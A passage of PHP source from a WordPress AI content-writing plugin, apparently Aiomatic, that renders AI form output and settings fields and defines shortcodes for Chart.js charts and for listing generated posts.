$aiomatic_Main_Settings['show_rich_editor'] == 'on') || $editor == 'wpeditor') { $settings = array( 'textarea_name' => 'aiomatic-prompt-result' . esc_html($aiomatic_item_id), 'media_buttons' => true, 'quicktags' => true, 'tabindex' => '4', 'editor_class' => 'aiomatic-editor-' . esc_html($aiomatic_item_id) ); echo '<div class="aiomatic_editor_wrapper" id="aiomatic_editor_wrapper' . esc_html($aiomatic_item_id) . '">'; wp_editor( '', 'aiomatic-prompt-result' . esc_html($aiomatic_item_id), $settings ); if (isset($aiomatic_Main_Settings['enable_copy']) && $aiomatic_Main_Settings['enable_copy'] == 'on') { echo '<button type="button" data-id="' . esc_html($aiomatic_item_id) . '" class="aiomatic-get-button aiomatic_copy_btn aiomatic_copy_btn_gut" id="aiomatic_copy_btn' . esc_html($aiomatic_item_id) . '">' . esc_html__("Copy", 'aiomatic-automatic-ai-content-writer') . '</button>'; } echo '</div>'; if (isset($aiomatic_Main_Settings['enable_char_count']) && $aiomatic_Main_Settings['enable_char_count'] == 'on') { echo '<div id="charCount_textarea' . esc_html($aiomatic_item_id) . '">' . esc_html__("Characters", 'aiomatic-automatic-ai-content-writer') . ': <span id="charCount_span' . esc_html($aiomatic_item_id) . '">0</span></div>'; } } else { if (isset($aiomatic_Main_Settings['form_placeholder']) && $aiomatic_Main_Settings['form_placeholder'] != '') { $placeholder_form = $aiomatic_Main_Settings['form_placeholder']; } else { $placeholder_form = 'AI Result'; } echo '<div class="aiomatic_textarea_wrapper" id="aiomatic_textarea_wrapper' . esc_html($aiomatic_item_id) . '">'; ?> <textarea name="aiomatic-prompt-result<?php echo esc_html($aiomatic_item_id);?>" onFocus="aiomaticCountChars('aiomatic-prompt-result<?php echo esc_html($aiomatic_item_id);?>','charCount_span<?php echo esc_html($aiomatic_item_id);?>')" onKeyDown="aiomaticCountChars('aiomatic-prompt-result<?php echo esc_html($aiomatic_item_id);?>','charCount_span<?php echo esc_html($aiomatic_item_id);?>')" onKeyUp="aiomaticCountChars('aiomatic-prompt-result<?php echo esc_html($aiomatic_item_id);?>','charCount_span<?php echo esc_html($aiomatic_item_id);?>')" onchange="aiomaticCountChars('aiomatic-prompt-result<?php echo esc_html($aiomatic_item_id);?>','charCount_span<?php echo esc_html($aiomatic_item_id);?>')" class="aiomatic-prompt-result aiomatic-prompt-result<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-prompt-result<?php echo esc_html($aiomatic_item_id);?>" rows="12" placeholder="<?php echo esc_html($placeholder_form);?>"></textarea> <?php if (isset($aiomatic_Main_Settings['enable_copy']) && $aiomatic_Main_Settings['enable_copy'] == 'on') { echo '<button type="button" data-id="' . esc_html($aiomatic_item_id) . '" class="aiomatic-get-button aiomatic_copy_btn" id="aiomatic_copy_btn' . esc_html($aiomatic_item_id) . '">' . esc_html__("Copy", 'aiomatic-automatic-ai-content-writer') . '</button>'; } echo '</div>'; if (isset($aiomatic_Main_Settings['enable_char_count']) && $aiomatic_Main_Settings['enable_char_count'] == 'on') { echo '<div id="charCount_textarea' . esc_html($aiomatic_item_id) . '">' . esc_html__("Characters", 'aiomatic-automatic-ai-content-writer') . ': <span id="charCount_span' . esc_html($aiomatic_item_id) . '">0</span></div>'; } } } else { ?> <div class="aiomatic-image-results" id="aiomatic-image-results<?php echo esc_html($aiomatic_item_id);?>"> <div class="aiomatic_image_wrapper" id="aiomatic_wrapper<?php echo esc_html($aiomatic_item_id); ?>"> <img id="aiomatic_form_response<?php echo esc_html($aiomatic_item_id); ?>" src=""> <?php if (isset($aiomatic_Main_Settings['enable_download']) && $aiomatic_Main_Settings['enable_download'] == 'on') { ?> <a href="#" id="download_button<?php echo esc_html($aiomatic_item_id); ?>" class="aiomatic-get-button aiomatic_download_btn aiomatic_download_btn<?php echo esc_html($aiomatic_item_id); ?>" download><?php echo esc_html__("Download", 'aiomatic-automatic-ai-content-writer');?></a> <?php } ?> </div> </div> <?php } ?> <input type="hidden" id="aiomatic-streaming<?php echo esc_html($aiomatic_item_id);?>" value="<?php echo esc_attr($streaming_enabled);?>"> </div> <?php if($submit_location == '3') { ?> <br/> <div id="aiomatic-button-wrap-<?php echo esc_html($aiomatic_item->ID);?>" class="<?php echo $submit_align;?>"> <button class="aiomatic-button aiomatic-generate-button" id="aiomatic-generate-button<?php echo esc_html($aiomatic_item_id);?>" data-id="<?php echo esc_html($aiomatic_item_id);?>"><span class="button__text button__text<?php echo esc_html($aiomatic_item_id);?>"><?php echo esc_html($submit);?></span></button> </div> <?php } ?> <div id="aiomatic-advanced-holder-<?php echo esc_html($aiomatic_item->ID);?>" class="aiomatic-mb-10 aiomatic-prompt-item aiomatic-prompt-item<?php echo esc_html($aiomatic_item_id); echo (((isset($aiomatic_Main_Settings['show_advanced']) && $aiomatic_Main_Settings['show_advanced'] == 'on') || $advanced == 'show') && $type == 'text') ? '' : ' aiomatic-hidden-form';?>"> <h4><?php echo esc_html__('AI Settings', 'aiomatic-automatic-ai-content-writer');?></h4> <div class="aiomatic-prompt-field aiomatic-prompt-engine aiomatic-prompt-engine<?php echo esc_html($aiomatic_item_id);?>"> <strong><?php echo esc_html__('AI Asssitant ID', 'aiomatic-automatic-ai-content-writer');?>: </strong> <select class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-assistant-id<?php echo esc_html($aiomatic_item_id);?>" name="assistant-id"> <?php $all_assistants = aiomatic_get_all_assistants(true); if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </div> <div class="aiomatic-prompt-field aiomatic-prompt-engine aiomatic-prompt-engine<?php echo esc_html($aiomatic_item_id);?>"> <strong><?php echo esc_html__('AI Model', 'aiomatic-automatic-ai-content-writer');?>: </strong> <select class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-engine<?php echo esc_html($aiomatic_item_id);?>" name="engine"> <?php $all_models = aiomatic_get_all_models(true); foreach($all_models as $aiomatic_model){ echo '<option'.($aiomatic_model == $model ? ' selected':'').' value="' . esc_html($aiomatic_model) . '">' . esc_html($aiomatic_model) . esc_html(aiomatic_get_model_provider($aiomatic_model)) . '</option>'; } ?> </select> </div> <div class="aiomatic-prompt-field aiomatic-prompt-field<?php echo esc_html($aiomatic_item_id);?>"><strong><?php echo esc_html__('Max Token Count', 'aiomatic-automatic-ai-content-writer');?>: </strong><input class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-max<?php echo esc_html($aiomatic_item_id);?>" name="max_tokens" type="text" placeholder="4000" value="<?php echo esc_html($max);?>"></div> <div class="aiomatic-prompt-field aiomatic-prompt-field<?php echo esc_html($aiomatic_item_id);?>"><strong><?php echo esc_html__('AI Temperature', 'aiomatic-automatic-ai-content-writer');?>: </strong><input class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-temperature<?php echo esc_html($aiomatic_item_id);?>" name="temperature" type="text" placeholder="0" value="<?php echo esc_html($temperature)?>"></div> <div class="aiomatic-prompt-field aiomatic-prompt-field<?php echo esc_html($aiomatic_item_id);?>"><strong><?php echo esc_html__('Top_p', 'aiomatic-automatic-ai-content-writer');?>: </strong><input class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-top_p<?php echo esc_html($aiomatic_item_id);?>" type="text" name="top_p" placeholder="0" value="<?php echo esc_html($topp)?>"></div> <div class="aiomatic-prompt-field aiomatic-prompt-field<?php echo esc_html($aiomatic_item_id);?>"><strong><?php echo esc_html__('Frequency Penalty', 'aiomatic-automatic-ai-content-writer');?>: </strong><input class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-frequency_penalty<?php echo esc_html($aiomatic_item_id);?>" placeholder="0" name="frequency_penalty" type="text" value="<?php echo esc_html($frequency)?>"></div> <div class="aiomatic-prompt-field aiomatic-prompt-field<?php echo esc_html($aiomatic_item_id);?>"><strong><?php echo esc_html__('Presence Penalty', 'aiomatic-automatic-ai-content-writer');?>: </strong><input class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-presence_penalty<?php echo esc_html($aiomatic_item_id);?>" placeholder="0" name="presence_penalty" type="text" value="<?php echo esc_html($presence)?>"></div> </div> <?php if($submit_location == '4') { ?> <br/> <div id="aiomatic-button-wrap-<?php echo esc_html($aiomatic_item->ID);?>" class="<?php echo $submit_align;?>"> <button class="aiomatic-button aiomatic-generate-button aiomatic-generate-button<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-generate-button<?php echo esc_html($aiomatic_item_id);?>" data-id="<?php echo esc_html($aiomatic_item_id);?>"><span class="button__text button__text<?php echo esc_html($aiomatic_item_id);?>"><?php echo esc_html($submit);?></span></button> </div> <?php } ?> <?php if(!empty($response)) { ?> <div class="aiomatic-prompt-field aiomatic-prompt-sample aiomatic-prompt-sample<?php echo esc_html($aiomatic_item_id);?>"><?php echo esc_html__('Sample Response', 'aiomatic-automatic-ai-content-writer');?><div class="aiomatic-prompt-response aiomatic-prompt-response<?php echo esc_html($aiomatic_item_id);?>"><?php echo $response;?></div></div> <?php } ?> </form> </div> </div> <?php $returnme = ob_get_clean(); } } else { $returnme = esc_html__('You need to specify the id parameter for this shortcode to work!', 'aiomatic-automatic-ai-content-writer'); } return $returnme; } add_shortcode( 'aiomatic_charts', 'aiomatic_chart_shortcode' ); function aiomatic_chart_shortcode( $atts ) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } extract( shortcode_atts( array( 'type' => 'Line', 'title' => 'aiUsageChart' . uniqid(), 'canvaswidth' => '625', 'canvasheight' => '625', 'width' => '100%', 'height' => 'auto', 'margin' => '5px', 'relativewidth' => '1', 'align' => '', 'classn' => '', 'labels' => '', 'datalabels' => '', 'data' => '', 'datasets' => '', 'colors' => '#69D2E7,#a0a48C,#F38630,#96CE7F,#CEBC17,#CE4264', 'fillopacity' => '0.7', 'animation' => 'true', 'scalefontsize' => '12', 'scalefontcolor' => '#666', 'scaleoverride' => 'false', 'scalesteps' => 'null', 'scalestepwidth' => 'null', 'scalestartvalue' => 'null', 'representing' => '' ), $atts ) ); if(empty($datasets) && !empty($data)) { $datasets = $data; } elseif(empty($data) && !empty($datasets)) { $data = $datasets; } if(empty($datalabels) && !empty($representing)) { $datalabels = $representing; } $title = str_replace(' ', '', $title); if ( ! $title || ( empty( $data ) && empty( $datasets ) ) ) { return ''; } $name = md5(get_bloginfo()); wp_register_script( $name . '-charts-js', trailingslashit( plugins_url('', __FILE__) ) . 'js/Chart.min.js', false, AIOMATIC_MAJOR_VERSION ); wp_register_script( $name . '-charts-functions', trailingslashit( plugins_url('', __FILE__) ) . 'js/functions.js', array( 'jquery' ), AIOMATIC_MAJOR_VERSION, true ); wp_enqueue_script( $name . '-charts-js' ); wp_enqueue_script( $name . '-charts-functions' ); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $reg_css_code = '.aiomatic-hide {display:none!important;visibility:hidden}.cr_back_white{background-color:#fff}.aiomatic-table { overflow: visible' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . ' font-family: "Trebuchet MS", Arial, Helvetica, sans-serif; border-collapse: collapse; width: 100%; text-align:center; font-size:14px; } .aiomatic-table td, .aiomatic-table th { border: 1px solid #ddd; padding: 8px; } .aiomatic-table tr:nth-child(even){background-color: #f2f2f2;} .aiomatic-table tr:hover {background-color: #ddd;} .aiomatic-table th { padding-top: 12px; padding-bottom: 12px; text-align: left; background-color: #4CAF50; color: white; text-align:center; } table th.aiomatic-absorbing-column { min-width: 150px; }.aiomatic-table{text-align:center;overflow-x:auto;overflow-y: auto;}.aiomatic-table table{table-layout: fixed;border-collapse: collapse;width: 100%;}.aiomatic-table td{overflow-x: auto;} @media only screen and (max-width: 760px) { .aiomatic-table table, .aiomatic-table thead, .aiomatic-table tbody, .aiomatic-table th, .aiomatic-table td, .aiomatic-table tr { display: block; } .aiomatic-table thead tr { position: absolute; top: -9999px; left: -9999px; } .aiomatic-table tr { border: 1px solid #ccc; } .aiomatic-table td { border: none; border-bottom: 1px solid #eee; position: relative; padding-left: 50%; } .aiomatic-table td:before { position: absolute; top: 6px; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; } } .aiomatic_charts_canvas {width:100%' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . 'max-width:100%;}@media screen and (max-width:480px) {div.aiomatic-chart-wrap {float: none' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . 'margin-left: auto' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . 'margin-right: auto' . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . 'text-align: center;}}'; wp_register_style( $name . '-plugin-reg-style', false ); wp_enqueue_style( $name . '-plugin-reg-style' ); wp_add_inline_style( $name . '-plugin-reg-style', $reg_css_code ); $data = explode(',', str_replace(' ', '', $data)); $datalabels = array_map('trim', explode(',', $datalabels)); $datasets = explode("next", str_replace(' ', '', $datasets)); if ($colors != "") { $colors = explode(',', str_replace(' ','',$colors)); } else { $colors = array('#69D2E7','#E0E4CC','#F38630','#96CE7F','#CEBC17','#CE4264'); } (strpos($type, 'lar') !== false ) ? $type = 'PolarArea' : $type = ucwords($type); $classes = 'aiomatic-chart-wrap'; if(!empty($align)) { $classes .= ' ' . $align; } if(!empty($classn)) { $classes .= ' ' . $classn; } $script_var = 'var '.$title.'Ops = {'; if($animation == 'true') { $script_var .= 'animation: { duration: 2000 },'; } if ($type == 'Line' || $type == 'Radar' || $type == 'Bar' || $type == 'PolarArea') { $script_var .= 'scaleFontSize: '.$scalefontsize.','; $script_var .= 'scaleFontColor: "'.$scalefontcolor.'",'; $script_var .= 'scaleOverride:' .$scaleoverride.','; $script_var .= 'scaleSteps:' .$scalesteps.','; $script_var .= 'scaleStepWidth:' .$scalestepwidth.','; $script_var .= 'scaleStartValue:' .$scalestartvalue; } $script_var .= '}; '; if ($type == 'Line' || $type == 'Radar' || $type == 'Bar' || $type === 'Pie' || $type === 'Doughnut' || $type === 'Bubble') { if($type === 'Doughnut') { $xcolors = $colors; } aiomatic_compare_fill($datasets, $colors); if($type === 'Doughnut') { $colors = $xcolors; } $total = count($datasets); $script_var .= 'var '.$title.'Data = {'; $script_var .= 'labels : ['; $labelstrings = explode(',',$labels); for ($j = 0; $j < count($labelstrings); $j++ ) { $script_var .= '"'.$labelstrings[$j].'"'; aiomatic_trailing_comma($j, count($labelstrings), $script_var); } $script_var .= '],'; $script_var .= 'datasets : ['; } else { aiomatic_compare_fill($data, $colors); $total = count($data); $script_var .= 'var '.$title.'Data = ['; } for ($i = 0; $i < $total; $i++) { if ($type === 'Pie' || $type === 'Doughnut' || $type === 'PolarArea' || $type === 'Bubble') { if(isset($datasets[$i])) { $script_var .= '{ data : ['. $datasets[$i] .'],'; $script_var .= 'backgroundColor : ['; foreach($colors as $cc) { $script_var .= '"rgba('. aiomatic_hex2rgb( $cc ) .','.$fillopacity.')",'; } $script_var .= '],'; if(isset($colors[$i])) { $script_var .= 'borderColor : "rgba('. aiomatic_hex2rgb( $colors[$i] ) .','.$fillopacity.')"'; } $script_var .= '}'; } } else if ($type === 'Bar') { if(isset($datasets[$i])) { $script_var .= '{'; if(isset($colors[$i])) { $script_var .= 'backgroundColor : "rgba('. aiomatic_hex2rgb( $colors[$i] ) .','.$fillopacity.')", borderColor : "rgba('. aiomatic_hex2rgb( $colors[$i] ) .',1)",'; } $script_var .= 'data : ['.$datasets[$i].'],'; if(isset($datalabels[$i])) { $script_var .= 'label : "' . $datalabels[$i] . '"'; } $script_var .= '}'; } } else if ($type === 'Line' || $type === 'Radar') { if(isset($datasets[$i])) { $script_var .= '{'; if(isset($colors[$i])) { $script_var .= 'borderColor : "rgba('. aiomatic_hex2rgb( $colors[$i] ) .','.$fillopacity.')", backgroundColor : "rgba('. aiomatic_hex2rgb( $colors[$i] ) .','.$fillopacity.')", pointBackgroundColor : "rgba('. aiomatic_hex2rgb( $colors[$i] ) .',1)",'; } $script_var .= 'data : [' . $datasets[$i] . '],'; if(isset($datalabels[$i])) { $script_var .= 'label : "' . $datalabels[$i] . '",'; } $script_var .= 'order : ' . ($total - $i) . ' }'; } } aiomatic_trailing_comma($i, $total, $script_var); } if ($type == 'Line' || $type == 'Radar' || $type == 'Bar' || $type === 'Pie' || $type === 'Doughnut' || $type === 'Bubble') { $script_var .= ']};'; } else { $script_var .= '];'; } $script_var .= ' window.aiomatic_charts = window.aiomatic_charts || {}; window.aiomatic_charts["'.$title.'"] = { options: '.$title.'Ops, data: '.$title.'Data, type: "'.$type.'" };'; wp_register_script( $name . '-dummy-handle-header', plugins_url('scripts/header.js', __FILE__), false, AIOMATIC_MAJOR_VERSION ); wp_enqueue_script( $name . '-dummy-handle-header' ); wp_add_inline_script( $name . '-dummy-handle-header', $script_var ); $reg_css_code_style = '.aiomatic-chart-wrap{max-width: 100%; width:'.$width.'; height:'.$height.';margin:'.$margin.';}'; wp_register_style( $name . '-plugin-reg-style-local', false ); wp_enqueue_style( $name . '-plugin-reg-style-local' ); wp_add_inline_style( $name . '-plugin-reg-style-local', $reg_css_code_style ); $currentchart = '<div class="' . $classes . '" data-proportion="' . $relativewidth . '">'; $currentchart .= '<canvas id="'.$title.'" height="'.$canvasheight.'" width="'.$canvaswidth.'" class="aiomatic_charts_canvas" data-proportion="'.$relativewidth.'"></canvas></div>'; return $currentchart; } add_shortcode( 'aiomatic-display-posts', 'aiomatic_display_posts_shortcode' ); function aiomatic_display_posts_shortcode( $atts ) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $original_atts = $atts; $atts = shortcode_atts( array( 'author' => '', 'category' => '', 'category_display' => '', 'category_label' => 'Posted in: ', 'content_class' => 'content', 'date_format' => '(n/j/Y)', 'date' => '', 'date_column' => 'post_date', 'date_compare' => '=', 'date_query_before' => '', 'date_query_after' => '', 'date_query_column' => '', 'date_query_compare' => '', 'display_posts_off' => false, 'excerpt_length' => false, 'excerpt_more' => false, 'excerpt_more_link' => false, 'exclude_current' => false, 'id' => false, 'ignore_sticky_posts' => false, 'image_size' => false, 'include_author' => false, 'include_content' => false, 'include_date' => false, 'include_excerpt' => false, 'include_link' => true, 'include_title' => true, 'meta_key' => '', 'meta_value' => '', 'no_posts_message' => '', 'offset' => 0, 'order' => 'DESC', 'orderby' => 'date', 'post_parent' => false, 'post_status' => 'publish', 'post_type' => 'post', 'posts_per_page' => '10', 'tag' => '', 'tax_operator' => 'IN', 'tax_include_children' => true, 'tax_term' => false, 'taxonomy' => false, 'time' => '', 'title' => '', 'title_color' => '#000000', 'excerpt_color' => '#000000', 'link_to_source' => '', 'title_font_size' => '100%', 'excerpt_font_size' => '100%', 'read_more_text' => '', 'wrapper' => 'ul', 'wrapper_class' => 'display-posts-listing', 'wrapper_id' => false, 'ruleid' => '' ), $atts, 'display-posts' ); if( $atts['display_posts_off'] ) return; $author = sanitize_text_field( $atts['author'] ); $ruleid = sanitize_text_field( $atts['ruleid'] ); $category = sanitize_text_field( $atts['category'] ); $category_display = 'true' == $atts['category_display'] ? 'category' : sanitize_text_field( $atts['category_display'] ); $category_label = sanitize_text_field( $atts['category_label'] ); $content_class = array_map( 'sanitize_html_class', ( explode( ' ', $atts['content_class'] ) ) ); $date_format = sanitize_text_field( $atts['date_format'] ); $date = sanitize_text_field( $atts['date'] ); $date_column = sanitize_text_field( $atts['date_column'] ); $date_compare = sanitize_text_field( $atts['date_compare'] ); $date_query_before = sanitize_text_field( $atts['date_query_before'] ); $date_query_after = sanitize_text_field( $atts['date_query_after'] ); $date_query_column = sanitize_text_field( $atts['date_query_column'] ); $date_query_compare = sanitize_text_field( $atts['date_query_compare'] ); $excerpt_length = intval( $atts['excerpt_length'] ); $excerpt_more = sanitize_text_field( $atts['excerpt_more'] ); $excerpt_more_link = filter_var( $atts['excerpt_more_link'], FILTER_VALIDATE_BOOLEAN ); $exclude_current = filter_var( $atts['exclude_current'], FILTER_VALIDATE_BOOLEAN ); $id = $atts['id']; $ignore_sticky_posts = filter_var( $atts['ignore_sticky_posts'], FILTER_VALIDATE_BOOLEAN ); $image_size = sanitize_key( $atts['image_size'] ); $include_title = filter_var( $atts['include_title'], FILTER_VALIDATE_BOOLEAN ); $include_author = filter_var( $atts['include_author'], FILTER_VALIDATE_BOOLEAN ); $include_content = filter_var( $atts['include_content'], FILTER_VALIDATE_BOOLEAN ); $include_date = filter_var( $atts['include_date'], FILTER_VALIDATE_BOOLEAN ); $include_excerpt = filter_var( $atts['include_excerpt'], FILTER_VALIDATE_BOOLEAN ); $include_link = filter_var( $atts['include_link'], FILTER_VALIDATE_BOOLEAN ); $meta_key = sanitize_text_field( $atts['meta_key'] ); $meta_value = sanitize_text_field( $atts['meta_value'] ); $no_posts_message = sanitize_text_field( $atts['no_posts_message'] ); $offset = intval( $atts['offset'] ); $order = sanitize_key( $atts['order'] ); $orderby = sanitize_key( $atts['orderby'] ); $post_parent = $atts['post_parent']; $post_status = $atts['post_status']; $post_type = sanitize_text_field( $atts['post_type'] ); $posts_per_page = intval( $atts['posts_per_page'] ); $tag = sanitize_text_field( $atts['tag'] ); $tax_operator = $atts['tax_operator']; $tax_include_children = filter_var( $atts['tax_include_children'], FILTER_VALIDATE_BOOLEAN ); $tax_term = sanitize_text_field( $atts['tax_term'] ); $taxonomy = sanitize_key( $atts['taxonomy'] ); $time = sanitize_text_field( $atts['time'] ); $shortcode_title = sanitize_text_field( $atts['title'] ); $title_color = sanitize_text_field( $atts['title_color'] ); $excerpt_color = sanitize_text_field( $atts['excerpt_color'] ); $link_to_source = sanitize_text_field( $atts['link_to_source'] ); $excerpt_font_size = sanitize_text_field( $atts['excerpt_font_size'] ); $title_font_size = sanitize_text_field( $atts['title_font_size'] ); $read_more_text = sanitize_text_field( $atts['read_more_text'] ); $wrapper = sanitize_text_field( $atts['wrapper'] ); $wrapper_class = array_map( 'sanitize_html_class', ( explode( ' ', $atts['wrapper_class'] ) ) ); if( !empty( $wrapper_class ) ) $wrapper_class = ' class="' . implode( ' ', $wrapper_class ) . '"'; $wrapper_id = sanitize_html_class( $atts['wrapper_id'] ); if( !empty( $wrapper_id ) ) $wrapper_id = ' id="' . esc_html($wrapper_id) . '"'; $args = array( 'category_name' => $category, 'order' => $order, 'orderby' => $orderby, 'post_type' => explode( ',', $post_type ), 'posts_per_page' => $posts_per_page, 'tag' => $tag, ); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if ( ! empty( $date ) || ! empty( $time ) || ! empty( $date_query_after ) || ! empty( $date_query_before ) ) { $initial_date_query = $date_query_top_lvl = array(); $valid_date_columns = array( 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'comment_date', 'comment_date_gmt' ); $valid_compare_ops = array( '=', '!=', '>', '>=', '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ); $dates = aiomatic_sanitize_date_time( $date ); if ( ! empty( $dates ) ) { if ( is_string( $dates ) ) { $timestamp = strtotime( $dates ); $dates = array( 'year' => date( 'Y', $timestamp ), 'month' => date( 'm', $timestamp ), 'day' => date( 'd', $timestamp ), ); } foreach ( $dates as $arg => $segment ) { $initial_date_query[ $arg ] = $segment; } } $times = aiomatic_sanitize_date_time( $time, 'time' ); if ( ! empty( $times ) ) { foreach ( $times as $arg => $segment ) { $initial_date_query[ $arg ] = $segment; } } $before = aiomatic_sanitize_date_time( $date_query_before, 'date', true ); if ( ! empty( $before ) ) { $initial_date_query['before'] = $before; } $after = aiomatic_sanitize_date_time( $date_query_after, 'date', true ); if ( ! empty( $after ) ) { $initial_date_query['after'] = $after; } if ( ! empty( $date_query_column ) && in_array( $date_query_column, $valid_date_columns ) ) { $initial_date_query['column'] = $date_query_column; } if ( ! empty( $date_query_compare ) && in_array( $date_query_compare, $valid_compare_ops ) ) { $initial_date_query['compare'] = $date_query_compare; } if ( ! empty( $date_column ) && in_array( $date_column, $valid_date_columns ) ) { $date_query_top_lvl['column'] = $date_column; } if ( ! empty( $date_compare ) && in_array( $date_compare, $valid_compare_ops ) ) { $date_query_top_lvl['compare'] = $date_compare; } if ( ! empty( $initial_date_query ) ) { $date_query_top_lvl[] = $initial_date_query; } $args['date_query'] = $date_query_top_lvl; } $args['meta_key'] = 'aiomatic_parent_rule'; if($ruleid != '') { $args['meta_value'] = $ruleid; } if( $ignore_sticky_posts ) $args['ignore_sticky_posts'] = true; if( $id ) { $posts_in = array_map( 'intval', explode( ',', $id ) ); $args['post__in'] = $posts_in; } if( is_singular() && $exclude_current ) $args['post__not_in'] = array( get_the_ID() ); if( !empty( $author ) ) { if( 'current' == $author && is_user_logged_in() ) $args['author_name'] = wp_get_current_user()->user_login; elseif( 'current' == $author ) $unrelevar = false; else $args['author_name'] = $author; } if( !empty( $offset ) ) $args['offset'] = $offset; $post_status = explode( ', ', $post_status ); $validated = array(); $available = array( 'publish', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', 'trash', 'any' ); foreach ( $post_status as $unvalidated ) if ( in_array( $unvalidated, $available ) ) $validated[] = $unvalidated; if( !empty( $validated ) ) $args['post_status'] = $validated; if ( !empty( $taxonomy ) && !empty( $tax_term ) ) { if( 'current' == $tax_term ) { global $post; $terms = wp_get_post_terms(get_the_ID(), $taxonomy); $tax_term = array(); foreach ($terms as $term) { $tax_term[] = $term->slug; } }else{ $tax_term = explode( ', ', $tax_term ); } if( !in_array( $tax_operator, array( 'IN', 'NOT IN', 'AND' ) ) ) $tax_operator = 'IN'; $tax_args = array( 'tax_query' => array( array( 'taxonomy' => $taxonomy, 'field' => 'slug', 'terms' => $tax_term, 'operator' => $tax_operator, 'include_children' => $tax_include_children, ) ) ); $count = 2; $more_tax_queries = false; while( isset( $original_atts['taxonomy_' . $count] ) && !empty( $original_atts['taxonomy_' . $count] ) && isset( $original_atts['tax_' . esc_html($count) . '_term'] ) && !empty( $original_atts['tax_' . esc_html($count) . '_term'] ) ): $more_tax_queries = true; $taxonomy = sanitize_key( $original_atts['taxonomy_' . $count] ); $terms = explode( ', ', sanitize_text_field( $original_atts['tax_' . esc_html($count) . '_term'] ) ); $tax_operator = isset( $original_atts['tax_' . esc_html($count) . '_operator'] ) ? $original_atts['tax_' . esc_html($count) . '_operator'] : 'IN'; $tax_operator = in_array( $tax_operator, array( 'IN', 'NOT IN', 'AND' ) ) ? $tax_operator : 'IN'; $tax_include_children = isset( $original_atts['tax_' . esc_html($count) . '_include_children'] ) ? filter_var( $atts['tax_' . esc_html($count) . '_include_children'], FILTER_VALIDATE_BOOLEAN ) : true; $tax_args['tax_query'][] = array( 'taxonomy' => $taxonomy, 'field' => 'slug', 'terms' => $terms, 'operator' => $tax_operator, 'include_children' => $tax_include_children, ); $count++; endwhile; if( $more_tax_queries ): $tax_relation = 'AND'; if( isset( $original_atts['tax_relation'] ) && in_array( $original_atts['tax_relation'], array( 'AND', 'OR' ) ) ) $tax_relation = $original_atts['tax_relation']; $args['tax_query']['relation'] = $tax_relation; endif; $args = array_merge_recursive( $args, $tax_args ); } if( $post_parent !== false ) { if( 'current' == $post_parent ) { global $post; $post_parent = get_the_ID(); } $args['post_parent'] = intval( $post_parent ); } $wrapper_options = array( 'ul', 'ol', 'div' ); if( ! in_array( $wrapper, $wrapper_options ) ) $wrapper = 'ul'; $inner_wrapper = 'div' == $wrapper ? 'div' : 'li'; $listing = new WP_Query( apply_filters( 'display_posts_shortcode_args', $args, $original_atts ) ); if ( ! $listing->have_posts() ) { return apply_filters( 'display_posts_shortcode_no_results', wpautop( $no_posts_message ) ); } $inner = ''; wp_suspend_cache_addition(true); while ( $listing->have_posts() ): $listing->the_post(); global $post; $image = $date = $author = $excerpt = $content = ''; if ( $include_title && $include_link ) { if($link_to_source == 'yes') { $source_url = get_post_meta($post->ID, 'aiomatic_post_url', true); if(!empty($source_url)) { $title = '<a class="aiomatic_display_title" href="' . esc_url_raw($source_url) . '"><span class="cr_display_span" >' . get_the_title() . '</span></a>'; } else { $title = '<a class="aiomatic_display_title" href="' . apply_filters( 'the_permalink', get_permalink() ) . '"><span class="cr_display_span" >' . get_the_title() . '</span></a>'; } } else { $title = '<a class="aiomatic_display_title" href="' . apply_filters( 'the_permalink', get_permalink() ) . '"><span class="cr_display_span" >' . get_the_title() . '</span></a>'; } } elseif( $include_title ) { $title = '<span class="aiomatic_display_title" class="cr_display_span">' . get_the_title() . '</span>'; } else { $title = ''; } if ( $image_size && has_post_thumbnail() && $include_link ) { if($link_to_source == 'yes') { 